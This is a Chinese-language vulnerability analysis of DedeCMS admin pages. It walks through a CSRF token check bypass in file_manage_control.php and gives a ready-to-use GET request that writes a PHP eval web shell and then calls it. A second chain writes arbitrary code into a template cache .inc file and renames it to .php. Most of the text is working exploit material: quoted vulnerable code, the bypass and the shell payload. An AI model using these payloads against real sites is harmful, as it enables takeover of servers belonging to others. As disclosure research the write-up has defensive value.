利用点1
漏洞点在dede/le_manage_control.php
中69行:
else if ($fmdo == "edit") {
csrf_check();
$filename = str_replace("..", "", $filename);
$file = "$cfg_basedir$activepath/$filename";
$str = stripslashes($str);
$fp = fopen($file, "w");
fputs($fp, $str);
fclose($fp);
if (empty($backurl)) {
ShowMsg("成功保存一个文件!", "file_manage_main.php?activepath=$activepath");
} else {
ShowMsg("成功保存文件!", $backurl);
}
exit();
}
由于dedecms有对传入参数进行注册变量的机制,所以这里的变量fmdo、filename、str可控。 于是导致后台任意代码写入文件,从而getshell。 此漏洞的关键点是crsf_check函数的绕过。
在dede/config.php
中第63行:
function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!
</a>';
exit;
}
}
这里发现,管理员登陆后,$_SESSION['token']为null,另外token变量值我们可以伪造 最终我们只要get方式传入参数
127.0.0.1/dede/file_manage_control.php?token=&filename=shell.php&fmdo=edit&str=<?php
eval($_POST['cmd']);?>
访问 127.0.0.1/shell.php post:cmd=phpinfo();
利用点2
在dede/tag_test_action.php中绕过csrf_check后,构造任意的 $partcode
在文件28行: $pv->SetTemplet($partcode, "string");
跟进 SetTemplet 函数:
function SetTemplet($temp,$stype="file")
{
if($stype=="string")
{
$this->dtp->LoadSource($temp);
}
...
跟进 loadSource 函数:
function LoadSource($str)
{
$this->taghashfile = $filename = DEDEDATA.'/tplcache/'.md5($str).'.inc';
if( !is_file($filename) )
{
file_put_contents($filename, $str);
}
.....
这里$filename
是可知的,此数将我们传入的数据写入文件。
文件已经生成
然后利用 dede/file_manage_control.php 中存在的rename漏洞,将
inc文件改为php文件。(当我看到inc文件可以写入任意代码,我最初想法是利用文件包含,也就是说要找到文件包含函数,并且参数可控。但是没有新的发现)